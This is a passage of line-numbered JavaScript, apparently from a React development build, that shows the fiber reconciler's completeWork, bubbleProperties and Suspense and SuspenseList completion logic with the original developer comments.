21734 var _unresolvedProps4 = workInProgress.pendingProps;
21735
21736 var _resolvedProps4 = workInProgress.elementType === _Component2 ? _unresolvedProps4 : resolveDefaultProps(_Component2, _unresolvedProps4);
21737
21738 return mountIncompleteClassComponent(current, workInProgress, _Component2, _resolvedProps4, renderLanes);
21739 }
21740
21741 case SuspenseListComponent:
21742 {
21743 return updateSuspenseListComponent(current, workInProgress, renderLanes);
21744 }
21745
21746 case ScopeComponent:
21747 {
21748
21749 break;
21750 }
21751
21752 case OffscreenComponent:
21753 {
21754 return updateOffscreenComponent(current, workInProgress, renderLanes);
21755 }
21756 }
21757
21758 throw new Error("Unknown unit of work tag (" + workInProgress.tag + "). This error is likely caused by a bug in " + 'React. Please file an issue.');
21759 }
21760
21761 function markUpdate(workInProgress) {
21762 // Tag the fiber with an update effect. This turns a Placement into
21763 // a PlacementAndUpdate.
21764 workInProgress.flags |= Update;
21765 }
21766
21767 function markRef$1(workInProgress) {
21768 workInProgress.flags |= Ref;
21769
21770 {
21771 workInProgress.flags |= RefStatic;
21772 }
21773 }
21774
21775 var appendAllChildren;
21776 var updateHostContainer;
21777 var updateHostComponent$1;
21778 var updateHostText$1;
21779
21780 {
21781 // Mutation mode
21782 appendAllChildren = function (parent, workInProgress, needsVisibilityToggle, isHidden) {
21783 // We only have the top Fiber that was created but we need recurse down its
21784 // children to find all the terminal nodes.
21785 var node = workInProgress.child;
21786
21787 while (node !== null) {
21788 if (node.tag === HostComponent || node.tag === HostText) {
21789 appendInitialChild(parent, node.stateNode);
21790 } else if (node.tag === HostPortal) ; else if (node.child !== null) {
21791 node.child.return = node;
21792 node = node.child;
21793 continue;
21794 }
21795
21796 if (node === workInProgress) {
21797 return;
21798 }
21799
21800 while (node.sibling === null) {
21801 if (node.return === null || node.return === workInProgress) {
21802 return;
21803 }
21804
21805 node = node.return;
21806 }
21807
21808 node.sibling.return = node.return;
21809 node = node.sibling;
21810 }
21811 };
21812
21813 updateHostContainer = function (current, workInProgress) {// Noop
21814 };
21815
21816 updateHostComponent$1 = function (current, workInProgress, type, newProps, rootContainerInstance) {
21817 // If we have an alternate, that means this is an update and we need to
21818 // schedule a side-effect to do the updates.
21819 var oldProps = current.memoizedProps;
21820
21821 if (oldProps === newProps) {
21822 // In mutation mode, this is sufficient for a bailout because
21823 // we won't touch this node even if children changed.
21824 return;
21825 } // If we get updated because one of our children updated, we don't
21826 // have newProps so we'll have to reuse them.
21827 // TODO: Split the update API as separate for the props vs. children.
21828 // Even better would be if children weren't special cased at all tho.
21829
21830
21831 var instance = workInProgress.stateNode;
21832 var currentHostContext = getHostContext(); // TODO: Experiencing an error where oldProps is null. Suggests a host
21833 // component is hitting the resume path. Figure out why. Possibly
21834 // related to `hidden`.
21835
21836 var updatePayload = prepareUpdate(instance, type, oldProps, newProps, rootContainerInstance, currentHostContext); // TODO: Type this specific to this type of component.
21837
21838 workInProgress.updateQueue = updatePayload; // If the update payload indicates that there is a change or if there
21839 // is a new ref we mark this as an update. All the work is done in commitWork.
21840
21841 if (updatePayload) {
21842 markUpdate(workInProgress);
21843 }
21844 };
21845
21846 updateHostText$1 = function (current, workInProgress, oldText, newText) {
21847 // If the text differs, mark it as an update. All the work in done in commitWork.
21848 if (oldText !== newText) {
21849 markUpdate(workInProgress);
21850 }
21851 };
21852 }
21853
21854 function cutOffTailIfNeeded(renderState, hasRenderedATailFallback) {
21855 if (getIsHydrating()) {
21856 // If we're hydrating, we should consume as many items as we can
21857 // so we don't leave any behind.
21858 return;
21859 }
21860
21861 switch (renderState.tailMode) {
21862 case 'hidden':
21863 {
21864 // Any insertions at the end of the tail list after this point
21865 // should be invisible. If there are already mounted boundaries
21866 // anything before them are not considered for collapsing.
21867 // Therefore we need to go through the whole tail to find if
21868 // there are any.
21869 var tailNode = renderState.tail;
21870 var lastTailNode = null;
21871
21872 while (tailNode !== null) {
21873 if (tailNode.alternate !== null) {
21874 lastTailNode = tailNode;
21875 }
21876
21877 tailNode = tailNode.sibling;
21878 } // Next we're simply going to delete all insertions after the
21879 // last rendered item.
21880
21881
21882 if (lastTailNode === null) {
21883 // All remaining items in the tail are insertions.
21884 renderState.tail = null;
21885 } else {
21886 // Detach the insertion after the last node that was already
21887 // inserted.
21888 lastTailNode.sibling = null;
21889 }
21890
21891 break;
21892 }
21893
21894 case 'collapsed':
21895 {
21896 // Any insertions at the end of the tail list after this point
21897 // should be invisible. If there are already mounted boundaries
21898 // anything before them are not considered for collapsing.
21899 // Therefore we need to go through the whole tail to find if
21900 // there are any.
21901 var _tailNode = renderState.tail;
21902 var _lastTailNode = null;
21903
21904 while (_tailNode !== null) {
21905 if (_tailNode.alternate !== null) {
21906 _lastTailNode = _tailNode;
21907 }
21908
21909 _tailNode = _tailNode.sibling;
21910 } // Next we're simply going to delete all insertions after the
21911 // last rendered item.
21912
21913
21914 if (_lastTailNode === null) {
21915 // All remaining items in the tail are insertions.
21916 if (!hasRenderedATailFallback && renderState.tail !== null) {
21917 // We suspended during the head. We want to show at least one
21918 // row at the tail. So we'll keep on and cut off the rest.
21919 renderState.tail.sibling = null;
21920 } else {
21921 renderState.tail = null;
21922 }
21923 } else {
21924 // Detach the insertion after the last node that was already
21925 // inserted.
21926 _lastTailNode.sibling = null;
21927 }
21928
21929 break;
21930 }
21931 }
21932 }
21933
21934 function bubbleProperties(completedWork) {
21935 var didBailout = completedWork.alternate !== null && completedWork.alternate.child === completedWork.child;
21936 var newChildLanes = NoLanes;
21937 var subtreeFlags = NoFlags;
21938
21939 if (!didBailout) {
21940 // Bubble up the earliest expiration time.
21941 if ( (completedWork.mode & ProfileMode) !== NoMode) {
21942 // In profiling mode, resetChildExpirationTime is also used to reset
21943 // profiler durations.
21944 var actualDuration = completedWork.actualDuration;
21945 var treeBaseDuration = completedWork.selfBaseDuration;
21946 var child = completedWork.child;
21947
21948 while (child !== null) {
21949 newChildLanes = mergeLanes(newChildLanes, mergeLanes(child.lanes, child.childLanes));
21950 subtreeFlags |= child.subtreeFlags;
21951 subtreeFlags |= child.flags; // When a fiber is cloned, its actualDuration is reset to 0. This value will
21952 // only be updated if work is done on the fiber (i.e. it doesn't bailout).
21953 // When work is done, it should bubble to the parent's actualDuration. If
21954 // the fiber has not been cloned though, (meaning no work was done), then
21955 // this value will reflect the amount of time spent working on a previous
21956 // render. In that case it should not bubble. We determine whether it was
21957 // cloned by comparing the child pointer.
21958
21959 actualDuration += child.actualDuration;
21960 treeBaseDuration += child.treeBaseDuration;
21961 child = child.sibling;
21962 }
21963
21964 completedWork.actualDuration = actualDuration;
21965 completedWork.treeBaseDuration = treeBaseDuration;
21966 } else {
21967 var _child = completedWork.child;
21968
21969 while (_child !== null) {
21970 newChildLanes = mergeLanes(newChildLanes, mergeLanes(_child.lanes, _child.childLanes));
21971 subtreeFlags |= _child.subtreeFlags;
21972 subtreeFlags |= _child.flags; // Update the return pointer so the tree is consistent. This is a code
21973 // smell because it assumes the commit phase is never concurrent with
21974 // the render phase. Will address during refactor to alternate model.
21975
21976 _child.return = completedWork;
21977 _child = _child.sibling;
21978 }
21979 }
21980
21981 completedWork.subtreeFlags |= subtreeFlags;
21982 } else {
21983 // Bubble up the earliest expiration time.
21984 if ( (completedWork.mode & ProfileMode) !== NoMode) {
21985 // In profiling mode, resetChildExpirationTime is also used to reset
21986 // profiler durations.
21987 var _treeBaseDuration = completedWork.selfBaseDuration;
21988 var _child2 = completedWork.child;
21989
21990 while (_child2 !== null) {
21991 newChildLanes = mergeLanes(newChildLanes, mergeLanes(_child2.lanes, _child2.childLanes)); // "Static" flags share the lifetime of the fiber/hook they belong to,
21992 // so we should bubble those up even during a bailout. All the other
21993 // flags have a lifetime only of a single render + commit, so we should
21994 // ignore them.
21995
21996 subtreeFlags |= _child2.subtreeFlags & StaticMask;
21997 subtreeFlags |= _child2.flags & StaticMask;
21998 _treeBaseDuration += _child2.treeBaseDuration;
21999 _child2 = _child2.sibling;
22000 }
22001
22002 completedWork.treeBaseDuration = _treeBaseDuration;
22003 } else {
22004 var _child3 = completedWork.child;
22005
22006 while (_child3 !== null) {
22007 newChildLanes = mergeLanes(newChildLanes, mergeLanes(_child3.lanes, _child3.childLanes)); // "Static" flags share the lifetime of the fiber/hook they belong to,
22008 // so we should bubble those up even during a bailout. All the other
22009 // flags have a lifetime only of a single render + commit, so we should
22010 // ignore them.
22011
22012 subtreeFlags |= _child3.subtreeFlags & StaticMask;
22013 subtreeFlags |= _child3.flags & StaticMask; // Update the return pointer so the tree is consistent. This is a code
22014 // smell because it assumes the commit phase is never concurrent with
22015 // the render phase. Will address during refactor to alternate model.
22016
22017 _child3.return = completedWork;
22018 _child3 = _child3.sibling;
22019 }
22020 }
22021
22022 completedWork.subtreeFlags |= subtreeFlags;
22023 }
22024
22025 completedWork.childLanes = newChildLanes;
22026 return didBailout;
22027 }
22028
22029 function completeDehydratedSuspenseBoundary(current, workInProgress, nextState) {
22030 if (hasUnhydratedTailNodes() && (workInProgress.mode & ConcurrentMode) !== NoMode && (workInProgress.flags & DidCapture) === NoFlags) {
22031 warnIfUnhydratedTailNodes(workInProgress);
22032 resetHydrationState();
22033 workInProgress.flags |= ForceClientRender | Incomplete | ShouldCapture;
22034 return false;
22035 }
22036
22037 var wasHydrated = popHydrationState(workInProgress);
22038
22039 if (nextState !== null && nextState.dehydrated !== null) {
22040 // We might be inside a hydration state the first time we're picking up this
22041 // Suspense boundary, and also after we've reentered it for further hydration.
22042 if (current === null) {
22043 if (!wasHydrated) {
22044 throw new Error('A dehydrated suspense component was completed without a hydrated node. ' + 'This is probably a bug in React.');
22045 }
22046
22047 prepareToHydrateHostSuspenseInstance(workInProgress);
22048 bubbleProperties(workInProgress);
22049
22050 {
22051 if ((workInProgress.mode & ProfileMode) !== NoMode) {
22052 var isTimedOutSuspense = nextState !== null;
22053
22054 if (isTimedOutSuspense) {
22055 // Don't count time spent in a timed out Suspense subtree as part of the base duration.
22056 var primaryChildFragment = workInProgress.child;
22057
22058 if (primaryChildFragment !== null) {
22059 // $FlowFixMe Flow doesn't support type casting in combination with the -= operator
22060 workInProgress.treeBaseDuration -= primaryChildFragment.treeBaseDuration;
22061 }
22062 }
22063 }
22064 }
22065
22066 return false;
22067 } else {
22068 // We might have reentered this boundary to hydrate it. If so, we need to reset the hydration
22069 // state since we're now exiting out of it. popHydrationState doesn't do that for us.
22070 resetHydrationState();
22071
22072 if ((workInProgress.flags & DidCapture) === NoFlags) {
22073 // This boundary did not suspend so it's now hydrated and unsuspended.
22074 workInProgress.memoizedState = null;
22075 } // If nothing suspended, we need to schedule an effect to mark this boundary
22076 // as having hydrated so events know that they're free to be invoked.
22077 // It's also a signal to replay events and the suspense callback.
22078 // If something suspended, schedule an effect to attach retry listeners.
22079 // So we might as well always mark this.
22080
22081
22082 workInProgress.flags |= Update;
22083 bubbleProperties(workInProgress);
22084
22085 {
22086 if ((workInProgress.mode & ProfileMode) !== NoMode) {
22087 var _isTimedOutSuspense = nextState !== null;
22088
22089 if (_isTimedOutSuspense) {
22090 // Don't count time spent in a timed out Suspense subtree as part of the base duration.
22091 var _primaryChildFragment = workInProgress.child;
22092
22093 if (_primaryChildFragment !== null) {
22094 // $FlowFixMe Flow doesn't support type casting in combination with the -= operator
22095 workInProgress.treeBaseDuration -= _primaryChildFragment.treeBaseDuration;
22096 }
22097 }
22098 }
22099 }
22100
22101 return false;
22102 }
22103 } else {
22104 // Successfully completed this tree. If this was a forced client render,
22105 // there may have been recoverable errors during first hydration
22106 // attempt. If so, add them to a queue so we can log them in the
22107 // commit phase.
22108 upgradeHydrationErrorsToRecoverable(); // Fall through to normal Suspense path
22109
22110 return true;
22111 }
22112 }
22113
22114 function completeWork(current, workInProgress, renderLanes) {
22115 var newProps = workInProgress.pendingProps; // Note: This intentionally doesn't check if we're hydrating because comparing
22116 // to the current tree provider fiber is just as fast and less error-prone.
22117 // Ideally we would have a special version of the work loop only
22118 // for hydration.
22119
22120 popTreeContext(workInProgress);
22121
22122 switch (workInProgress.tag) {
22123 case IndeterminateComponent:
22124 case LazyComponent:
22125 case SimpleMemoComponent:
22126 case FunctionComponent:
22127 case ForwardRef:
22128 case Fragment:
22129 case Mode:
22130 case Profiler:
22131 case ContextConsumer:
22132 case MemoComponent:
22133 bubbleProperties(workInProgress);
22134 return null;
22135
22136 case ClassComponent:
22137 {
22138 var Component = workInProgress.type;
22139
22140 if (isContextProvider(Component)) {
22141 popContext(workInProgress);
22142 }
22143
22144 bubbleProperties(workInProgress);
22145 return null;
22146 }
22147
22148 case HostRoot:
22149 {
22150 var fiberRoot = workInProgress.stateNode;
22151 popHostContainer(workInProgress);
22152 popTopLevelContextObject(workInProgress);
22153 resetWorkInProgressVersions();
22154
22155 if (fiberRoot.pendingContext) {
22156 fiberRoot.context = fiberRoot.pendingContext;
22157 fiberRoot.pendingContext = null;
22158 }
22159
22160 if (current === null || current.child === null) {
22161 // If we hydrated, pop so that we can delete any remaining children
22162 // that weren't hydrated.
22163 var wasHydrated = popHydrationState(workInProgress);
22164
22165 if (wasHydrated) {
22166 // If we hydrated, then we'll need to schedule an update for
22167 // the commit side-effects on the root.
22168 markUpdate(workInProgress);
22169 } else {
22170 if (current !== null) {
22171 var prevState = current.memoizedState;
22172
22173 if ( // Check if this is a client root
22174 !prevState.isDehydrated || // Check if we reverted to client rendering (e.g. due to an error)
22175 (workInProgress.flags & ForceClientRender) !== NoFlags) {
22176 // Schedule an effect to clear this container at the start of the
22177 // next commit. This handles the case of React rendering into a
22178 // container with previous children. It's also safe to do for
22179 // updates too, because current.child would only be null if the
22180 // previous render was null (so the container would already
22181 // be empty).
22182 workInProgress.flags |= Snapshot; // If this was a forced client render, there may have been
22183 // recoverable errors during first hydration attempt. If so, add
22184 // them to a queue so we can log them in the commit phase.
22185
22186 upgradeHydrationErrorsToRecoverable();
22187 }
22188 }
22189 }
22190 }
22191
22192 updateHostContainer(current, workInProgress);
22193 bubbleProperties(workInProgress);
22194
22195 return null;
22196 }
22197
22198 case HostComponent:
22199 {
22200 popHostContext(workInProgress);
22201 var rootContainerInstance = getRootHostContainer();
22202 var type = workInProgress.type;
22203
22204 if (current !== null && workInProgress.stateNode != null) {
22205 updateHostComponent$1(current, workInProgress, type, newProps, rootContainerInstance);
22206
22207 if (current.ref !== workInProgress.ref) {
22208 markRef$1(workInProgress);
22209 }
22210 } else {
22211 if (!newProps) {
22212 if (workInProgress.stateNode === null) {
22213 throw new Error('We must have new props for new mounts. This error is likely ' + 'caused by a bug in React. Please file an issue.');
22214 } // This can happen when we abort work.
22215
22216
22217 bubbleProperties(workInProgress);
22218 return null;
22219 }
22220
22221 var currentHostContext = getHostContext(); // TODO: Move createInstance to beginWork and keep it on a context
22222 // "stack" as the parent. Then append children as we go in beginWork
22223 // or completeWork depending on whether we want to add them top->down or
22224 // bottom->up. Top->down is faster in IE11.
22225
22226 var _wasHydrated = popHydrationState(workInProgress);
22227
22228 if (_wasHydrated) {
22229 // TODO: Move this and createInstance step into the beginPhase
22230 // to consolidate.
22231 if (prepareToHydrateHostInstance(workInProgress, rootContainerInstance, currentHostContext)) {
22232 // If changes to the hydrated node need to be applied at the
22233 // commit-phase we mark this as such.
22234 markUpdate(workInProgress);
22235 }
22236 } else {
22237 var instance = createInstance(type, newProps, rootContainerInstance, currentHostContext, workInProgress);
22238 appendAllChildren(instance, workInProgress, false, false);
22239 workInProgress.stateNode = instance; // Certain renderers require commit-time effects for initial mount.
22240 // (eg DOM renderer supports auto-focus for certain elements).
22241 // Make sure such renderers get scheduled for later work.
22242
22243 if (finalizeInitialChildren(instance, type, newProps, rootContainerInstance)) {
22244 markUpdate(workInProgress);
22245 }
22246 }
22247
22248 if (workInProgress.ref !== null) {
22249 // If there is a ref on a host node we need to schedule a callback
22250 markRef$1(workInProgress);
22251 }
22252 }
22253
22254 bubbleProperties(workInProgress);
22255 return null;
22256 }
22257
22258 case HostText:
22259 {
22260 var newText = newProps;
22261
22262 if (current && workInProgress.stateNode != null) {
22263 var oldText = current.memoizedProps; // If we have an alternate, that means this is an update and we need
22264 // to schedule a side-effect to do the updates.
22265
22266 updateHostText$1(current, workInProgress, oldText, newText);
22267 } else {
22268 if (typeof newText !== 'string') {
22269 if (workInProgress.stateNode === null) {
22270 throw new Error('We must have new props for new mounts. This error is likely ' + 'caused by a bug in React. Please file an issue.');
22271 } // This can happen when we abort work.
22272
22273 }
22274
22275 var _rootContainerInstance = getRootHostContainer();
22276
22277 var _currentHostContext = getHostContext();
22278
22279 var _wasHydrated2 = popHydrationState(workInProgress);
22280
22281 if (_wasHydrated2) {
22282 if (prepareToHydrateHostTextInstance(workInProgress)) {
22283 markUpdate(workInProgress);
22284 }
22285 } else {
22286 workInProgress.stateNode = createTextInstance(newText, _rootContainerInstance, _currentHostContext, workInProgress);
22287 }
22288 }
22289
22290 bubbleProperties(workInProgress);
22291 return null;
22292 }
22293
22294 case SuspenseComponent:
22295 {
22296 popSuspenseContext(workInProgress);
22297 var nextState = workInProgress.memoizedState; // Special path for dehydrated boundaries. We may eventually move this
22298 // to its own fiber type so that we can add other kinds of hydration
22299 // boundaries that aren't associated with a Suspense tree. In anticipation
22300 // of such a refactor, all the hydration logic is contained in
22301 // this branch.
22302
22303 if (current === null || current.memoizedState !== null && current.memoizedState.dehydrated !== null) {
22304 var fallthroughToNormalSuspensePath = completeDehydratedSuspenseBoundary(current, workInProgress, nextState);
22305
22306 if (!fallthroughToNormalSuspensePath) {
22307 if (workInProgress.flags & ShouldCapture) {
22308 // Special case. There were remaining unhydrated nodes. We treat
22309 // this as a mismatch. Revert to client rendering.
22310 return workInProgress;
22311 } else {
22312 // Did not finish hydrating, either because this is the initial
22313 // render or because something suspended.
22314 return null;
22315 }
22316 } // Continue with the normal Suspense path.
22317
22318 }
22319
22320 if ((workInProgress.flags & DidCapture) !== NoFlags) {
22321 // Something suspended. Re-render with the fallback children.
22322 workInProgress.lanes = renderLanes; // Do not reset the effect list.
22323
22324 if ( (workInProgress.mode & ProfileMode) !== NoMode) {
22325 transferActualDuration(workInProgress);
22326 } // Don't bubble properties in this case.
22327
22328
22329 return workInProgress;
22330 }
22331
22332 var nextDidTimeout = nextState !== null;
22333 var prevDidTimeout = current !== null && current.memoizedState !== null;
22334 // a passive effect, which is when we process the transitions
22335
22336
22337 if (nextDidTimeout !== prevDidTimeout) {
22338 // an effect to toggle the subtree's visibility. When we switch from
22339 // fallback -> primary, the inner Offscreen fiber schedules this effect
22340 // as part of its normal complete phase. But when we switch from
22341 // primary -> fallback, the inner Offscreen fiber does not have a complete
22342 // phase. So we need to schedule its effect here.
22343 //
22344 // We also use this flag to connect/disconnect the effects, but the same
22345 // logic applies: when re-connecting, the Offscreen fiber's complete
22346 // phase will handle scheduling the effect. It's only when the fallback
22347 // is active that we have to do anything special.
22348
22349
22350 if (nextDidTimeout) {
22351 var _offscreenFiber2 = workInProgress.child;
22352 _offscreenFiber2.flags |= Visibility; // TODO: This will still suspend a synchronous tree if anything
22353 // in the concurrent tree already suspended during this render.
22354 // This is a known bug.
22355
22356 if ((workInProgress.mode & ConcurrentMode) !== NoMode) {
22357 // TODO: Move this back to throwException because this is too late
22358 // if this is a large tree which is common for initial loads. We
22359 // don't know if we should restart a render or not until we get
22360 // this marker, and this is too late.
22361 // If this render already had a ping or lower pri updates,
22362 // and this is the first time we know we're going to suspend we
22363 // should be able to immediately restart from within throwException.
22364 var hasInvisibleChildContext = current === null && (workInProgress.memoizedProps.unstable_avoidThisFallback !== true || !enableSuspenseAvoidThisFallback);
22365
22366 if (hasInvisibleChildContext || hasSuspenseContext(suspenseStackCursor.current, InvisibleParentSuspenseContext)) {
22367 // If this was in an invisible tree or a new render, then showing
22368 // this boundary is ok.
22369 renderDidSuspend();
22370 } else {
22371 // Otherwise, we're going to have to hide content so we should
22372 // suspend for longer if possible.
22373 renderDidSuspendDelayIfPossible();
22374 }
22375 }
22376 }
22377 }
22378
22379 var wakeables = workInProgress.updateQueue;
22380
22381 if (wakeables !== null) {
22382 // Schedule an effect to attach a retry listener to the promise.
22383 // TODO: Move to passive phase
22384 workInProgress.flags |= Update;
22385 }
22386
22387 bubbleProperties(workInProgress);
22388
22389 {
22390 if ((workInProgress.mode & ProfileMode) !== NoMode) {
22391 if (nextDidTimeout) {
22392 // Don't count time spent in a timed out Suspense subtree as part of the base duration.
22393 var primaryChildFragment = workInProgress.child;
22394
22395 if (primaryChildFragment !== null) {
22396 // $FlowFixMe Flow doesn't support type casting in combination with the -= operator
22397 workInProgress.treeBaseDuration -= primaryChildFragment.treeBaseDuration;
22398 }
22399 }
22400 }
22401 }
22402
22403 return null;
22404 }
22405
22406 case HostPortal:
22407 popHostContainer(workInProgress);
22408 updateHostContainer(current, workInProgress);
22409
22410 if (current === null) {
22411 preparePortalMount(workInProgress.stateNode.containerInfo);
22412 }
22413
22414 bubbleProperties(workInProgress);
22415 return null;
22416
22417 case ContextProvider:
22418 // Pop provider fiber
22419 var context = workInProgress.type._context;
22420 popProvider(context, workInProgress);
22421 bubbleProperties(workInProgress);
22422 return null;
22423
22424 case IncompleteClassComponent:
22425 {
22426 // Same as class component case. I put it down here so that the tags are
22427 // sequential to ensure this switch is compiled to a jump table.
22428 var _Component = workInProgress.type;
22429
22430 if (isContextProvider(_Component)) {
22431 popContext(workInProgress);
22432 }
22433
22434 bubbleProperties(workInProgress);
22435 return null;
22436 }
22437
22438 case SuspenseListComponent:
22439 {
22440 popSuspenseContext(workInProgress);
22441 var renderState = workInProgress.memoizedState;
22442
22443 if (renderState === null) {
22444 // We're running in the default, "independent" mode.
22445 // We don't do anything in this mode.
22446 bubbleProperties(workInProgress);
22447 return null;
22448 }
22449
22450 var didSuspendAlready = (workInProgress.flags & DidCapture) !== NoFlags;
22451 var renderedTail = renderState.rendering;
22452
22453 if (renderedTail === null) {
22454 // We just rendered the head.
22455 if (!didSuspendAlready) {
22456 // This is the first pass. We need to figure out if anything is still
22457 // suspended in the rendered set.
22458 // If new content unsuspended, but there's still some content that
22459 // didn't. Then we need to do a second pass that forces everything
22460 // to keep showing their fallbacks.
22461 // We might be suspended if something in this render pass suspended, or
22462 // something in the previous committed pass suspended. Otherwise,
22463 // there's no chance so we can skip the expensive call to
22464 // findFirstSuspended.
22465 var cannotBeSuspended = renderHasNotSuspendedYet() && (current === null || (current.flags & DidCapture) === NoFlags);
22466
22467 if (!cannotBeSuspended) {
22468 var row = workInProgress.child;
22469
22470 while (row !== null) {
22471 var suspended = findFirstSuspended(row);
22472
22473 if (suspended !== null) {
22474 didSuspendAlready = true;
22475 workInProgress.flags |= DidCapture;
22476 cutOffTailIfNeeded(renderState, false); // If this is a newly suspended tree, it might not get committed as
22477 // part of the second pass. In that case nothing will subscribe to
22478 // its thenables. Instead, we'll transfer its thenables to the
22479 // SuspenseList so that it can retry if they resolve.
22480 // There might be multiple of these in the list but since we're
22481 // going to wait for all of them anyway, it doesn't really matter
22482 // which ones gets to ping. In theory we could get clever and keep
22483 // track of how many dependencies remain but it gets tricky because
22484 // in the meantime, we can add/remove/change items and dependencies.
22485 // We might bail out of the loop before finding any but that
22486 // doesn't matter since that means that the other boundaries that
22487 // we did find already has their listeners attached.
22488
22489 var newThenables = suspended.updateQueue;
22490
22491 if (newThenables !== null) {
22492 workInProgress.updateQueue = newThenables;
22493 workInProgress.flags |= Update;
22494 } // Rerender the whole list, but this time, we'll force fallbacks
22495 // to stay in place.
22496 // Reset the effect flags before doing the second pass since that's now invalid.
22497 // Reset the child fibers to their original state.
22498
22499
22500 workInProgress.subtreeFlags = NoFlags;
22501 resetChildFibers(workInProgress, renderLanes); // Set up the Suspense Context to force suspense and immediately
22502 // rerender the children.
22503
22504 pushSuspenseContext(workInProgress, setShallowSuspenseContext(suspenseStackCursor.current, ForceSuspenseFallback)); // Don't bubble properties in this case.
22505
22506 return workInProgress.child;
22507 }
22508
22509 row = row.sibling;
22510 }
22511 }
22512
22513 if (renderState.tail !== null && now() > getRenderTargetTime()) {
22514 // We have already passed our CPU deadline but we still have rows
22515 // left in the tail. We'll just give up further attempts to render
22516 // the main content and only render fallbacks.
22517 workInProgress.flags |= DidCapture;
22518 didSuspendAlready = true;
22519 cutOffTailIfNeeded(renderState, false); // Since nothing actually suspended, there will nothing to ping this
22520 // to get it started back up to attempt the next item. While in terms
22521 // of priority this work has the same priority as this current render,
22522 // it's not part of the same transition once the transition has
22523 // committed. If it's sync, we still want to yield so that it can be
22524 // painted. Conceptually, this is really the same as pinging.
22525 // We can use any RetryLane even if it's the one currently rendering
22526 // since we're leaving it behind on this node.
22527
22528 workInProgress.lanes = SomeRetryLane;
22529 }
22530 } else {
22531 cutOffTailIfNeeded(renderState, false);
22532 } // Next we're going to render the tail.
22533
22534 } else {
22535 // Append the rendered row to the child list.
22536 if (!didSuspendAlready) {
22537 var _suspended = findFirstSuspended(renderedTail);
22538
22539 if (_suspended !== null) {
22540 workInProgress.flags |= DidCapture;
22541 didSuspendAlready = true; // Ensure we transfer the update queue to the parent so that it doesn't
22542 // get lost if this row ends up dropped during a second pass.
22543
22544 var _newThenables = _suspended.updateQueue;
22545
22546 if (_newThenables !== null) {
22547 workInProgress.updateQueue = _newThenables;
22548 workInProgress.flags |= Update;
22549 }
22550
22551 cutOffTailIfNeeded(renderState, true); // This might have been modified.
22552
22553 if (renderState.tail === null && renderState.tailMode === 'hidden' && !renderedTail.alternate && !getIsHydrating() // We don't cut it if we're hydrating.
22554 ) {
22555 // We're done.
22556 bubbleProperties(workInProgress);
22557 return null;
22558 }
22559 } else if ( // The time it took to render last row is greater than the remaining
22560 // time we have to render. So rendering one more row would likely
22561 // exceed it.
22562 now() * 2 - renderState.renderingStartTime > getRenderTargetTime() && renderLanes !== OffscreenLane) {
22563 // We have now passed our CPU deadline and we'll just give up further
22564 // attempts to render the main content and only render fallbacks.
22565 // The assumption is that this is usually faster.
22566 workInProgress.flags |= DidCapture;
22567 didSuspendAlready = true;
22568 cutOffTailIfNeeded(renderState, false); // Since nothing actually suspended, there will nothing to ping this
22569 // to get it started back up to attempt the next item. While in terms
22570 // of priority this work has the same priority as this current render,
22571 // it's not part of the same transition once the transition has
22572 // committed. If it's sync, we still want to yield so that it can be
22573 // painted. Conceptually, this is really the same as pinging.
22574 // We can use any RetryLane even if it's the one currently rendering
22575 // since we're leaving it behind on this node.
22576
22577 workInProgress.lanes = SomeRetryLane;
22578 }
22579 }
22580
22581 if (renderState.isBackwards) {
22582 // The effect list of the backwards tail will have been added
22583 // to the end. This breaks the guarantee that life-cycles fire in
22584 // sibling order but that isn't a strong guarantee promised by React.
22585 // Especially since these might also just pop in during future commits.
22586 // Append to the beginning of the list.
22587 renderedTail.sibling = workInProgress.child;
22588 workInProgress.child = renderedTail;
22589 } else {
22590 var previousSibling = renderState.last;
22591
22592 if (previousSibling !== null) {
22593 previousSibling.sibling = renderedTail;
22594 } else {
22595 workInProgress.child = renderedTail;
22596 }
22597
22598 renderState.last = renderedTail;
22599 }
22600 }
22601
22602 if (renderState.tail !== null) {
22603 // We still have tail rows to render.
22604 // Pop a row.
22605 var next = renderState.tail;
22606 renderState.rendering = next;
22607 renderState.tail = next.sibling;
22608 renderState.renderingStartTime = now();
22609 next.sibling = null; // Restore the context.
22610 // TODO: We can probably just avoid popping it instead and only
22611 // setting it the first time we go from not suspended to suspended.
22612
22613 var suspenseContext = suspenseStackCursor.current;
22614
22615 if (didSuspendAlready) {
22616 suspenseContext = setShallowSuspenseContext(suspenseContext, ForceSuspenseFallback);
22617 } else {
22618 suspenseContext = setDefaultShallowSuspenseContext(suspenseContext);
22619 }
22620
22621 pushSuspenseContext(workInProgress, suspenseContext); // Do a pass over the next row.
22622 // Don't bubble properties in this case.
22623
22624 return next;
22625 }
22626
22627 bubbleProperties(workInProgress);
22628 return null;
22629 }
22630
22631 case ScopeComponent:
22632 {
22633
22634 break;
22635 }
22636
22637 case OffscreenComponent:
22638 case LegacyHiddenComponent:
22639 {
22640 popRenderLanes(workInProgress);
22641 var _nextState = workInProgress.memoizedState;
22642 var nextIsHidden = _nextState !== null;
22643
22644 if (current !== null) {
22645 var _prevState = current.memoizedState;
22646 var prevIsHidden = _prevState !== null;
22647
22648 if (prevIsHidden !== nextIsHidden && ( // LegacyHidden doesn't do any hiding — it only pre-renders.
22649 !enableLegacyHidden )) {
22650 workInProgress.flags |= Visibility;
22651 }
22652 }
22653
22654 if (!nextIsHidden || (workInProgress.mode & ConcurrentMode) === NoMode) {
22655 bubbleProperties(workInProgress);
22656 } else {
22657 // Don't bubble properties for hidden children unless we're rendering
22658 // at offscreen priority.
22659 if (includesSomeLane(subtreeRenderLanes, OffscreenLane)) {
22660 bubbleProperties(workInProgress);
22661
22662 {
22663 // Check if there was an insertion or update in the hidden subtree.
22664 // If so, we need to hide those nodes in the commit phase, so
22665 // schedule a visibility effect.
22666 if ( workInProgress.subtreeFlags & (Placement | Update)) {
22667 workInProgress.flags |= Visibility;
22668 }
22669 }
22670 }
22671 }
22672 return null;
22673 }
22674
22675 case CacheComponent:
22676 {
22677
22678 return null;
22679 }
22680
22681 case TracingMarkerComponent:
22682 {
22683
22684 return null;
22685 }
22686 }
22687
22688 throw new Error("Unknown unit of work tag (" + workInProgress.tag + "). This error is likely caused by a bug in " + 'React. Please file an issue.');
22689 }
22690
22691 function unwindWork(current, workInProgress, renderLanes) {
22692 // Note: This intentionally doesn't check if we're hydrating because comparing
22693 // to the current tree provider fiber is just as fast and less error-prone.
22694 // Ideally we would have a special version of the work loop only
22695 // for hydration.
22696 popTreeContext(workInProgress);
22697
22698 switch (workInProgress.tag) {
22699 case ClassComponent:
22700 {
22701 var Component = workInProgress.type;
22702
22703 if (isContextProvider(Component)) {
